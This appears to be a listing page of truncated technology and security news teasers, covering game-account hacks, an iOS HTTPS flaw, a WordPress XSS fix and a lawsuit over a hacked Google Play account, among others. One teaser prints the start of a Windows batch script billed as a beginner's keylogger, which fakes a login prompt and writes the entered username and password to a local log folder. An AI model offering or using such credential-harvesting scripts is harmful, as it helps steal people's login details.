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Grand Theft Auto 5’s hub Rockstar Social Club was rumored to have been hacked. In reality, it is safe and another unnamed site has been hacked. Users urged to change their passwords immediately. Users on Reddit reported that their GTA V’s PC account got hacked and even modified by unauthorized users. This was followed by lodging […]
This year’s first Ubuntu release – Ubuntu 15.04 – is being loved by all. Ubuntu is the favorite platform of developers and it now it covers a variety of devices – desktop, mobile, cloud and IoT. This will be followed by the upcoming release of Ubuntu 15.10. For a moment, Ubuntu 15.04 won’t seem much different to […]
Here is a basic keylogger script for beginners to understand the basics of how keylogging works in notepad. This script should be used for research purposes only. ——————————————————————————————— @echo off color a title Login cls echo “Please Enter Email Adress And Password” echo. echo. cd “C:Logs” set /p user=Username: set /p pass=Password: echo Username=”%user%” Password=”%pass%” […]
The Conservatives’ 2015-16 federal budget sees some investment in security, with $36.4 million promised over five years to address cybersecurity threats.
Android 5.0 Lollipop lets you quickly switch to a separate guest profile. This guest user will not contain your personal data like apps, contacts, messages, google account and few more. How To Enable Guest Mode On Android Swipe down from the top of the screen to view the notification bar. Then click two times on […]
Researchers have identified a serious vulnerability in at least 1,500 iOS apps. This security flaw has made the apps exploitable by hackers who look for victims to swipe passwords and obtain financial data. Last month IT security firm SourceDNA discovered a bug that has been fixed in an open-source code update. This bug contained a […]
Los Angeles and Orange Counties patients could order medical marijuana through Nugg, a new app. They may even schedule marijuana deliveries and pickups with the app A trio of USC students namely Alex Milligan, Collin Mann and Kam Babazade have developed a web-based app Nugg. It is an online medical marijuana ordering system. The app […]
Susan Harvey claims Google never reimbursed her even after admitting that she did not make the purchases. Madera, CA-based woman Susan Harvey has filed a lawsuit against Google recently. She has accused Google of not reimbursing her after she lost thousands of dollars over a 16month period when her Google Play Store account got hacked. […]
Virtually every computer sold today comes with a dirty little secret. It can spy on you. Learn more, and how to protect yourself.
MP3Skull is one of the most popular websites being used by people to download music illegally. TF reports that in a combined effort, a group of music label giants- Universal Music Group, Capitol Records, Sony Music, Warner Bros. Records – have filed a lawsuit against the owners of the mp3 download website MP3Skull. The lawsuit […]
A new advanced malware program targeting point-of-sale terminals is putting customer credit card details at risk, following a number of similar attacks already this year.
Researchers have identified a relatively “common” cross-site scripting flaw (XSS) in some famous WordPress plugins — A coordinated plugin update has been released to address the detected cross-site scripting vulnerability. In case you are using any of the WordPress plugins mentioned below you must install the update released today to eliminate the “common” cross-site scripting vulnerability. Here […]
China’s foreign ministry has expressed serious concerns over the reports of hacking attacks on China planned by New Zealand and NSA in recent past. The U.S. intelligence agency tried to hack into a data link between the government buildings of China located in Auckland. A secret report named “NSA activities in progress 2013” has an item […]
Around 1,500 apps for iPhone and iPad contain an HTTPS vulnerability making it ‘trivial’ for hackers to perform man-in-the-middle attacks to steal passwords, bank details and other private information.
Online hacktivist Anonymous has breached into the website of an Israeli arm importer and manufacture Fab-Defanse (fab-defense.com) and leaked login credentials plus personal details of its local and international clients/customers, including some government officers. The latest cyber attack was conducted under the banner of OpIsrael. After analyzing we found out that data is legit and never been […]
Researchers have identified a vulnerability in some Adobe Flash Player versions that can be exploited by attackers for spying on users having built-in webcams on their computers — The spying remains completely discreet. Flash player’s configuration panel allows creation of a list of sites that can access the device’s built-in microphone and webcam. Alternately, users […]
image: Lifehacker Google now allows you to export and download your entire search history in no time. Last year Google tested a download feature in search history and it appears that this feature is now available for everyone. Some of us might think that what is the need of this feature? But let me remind you, […]
Brazilian Ministry of Culture is planning to sue Facebook on blocking the picture of an Indian woman from 1909 just because her breasts were exposed. The ministry claims that Facebook is illegally exposing its censorship standards on Brazil. Brazil will sue Facebook for blocking picture of indigenous woman Reportedly, Brazilian Cultural Ministry isn’t happy with […]
Some applications do not support proxy by default. Other applications might support HTTP proxy but fail when using SOCKS. As Tor provides a SOCKS proxy, you can not use it with your update or download client. Sure you can set up proxy variables (not SOCKS) in the shell, but there is a better alternative, Proxychains. […]
Australia’s infosec industry is lobbying for a mandatory security baseline to ensure basic IT standards are met across the country, with penalties issued to those that don’t comply.
Target has ended its dispute with MasterCard over the retail giant’s 2013 data breach by agreeing to a $19 million reimbursement to issuers.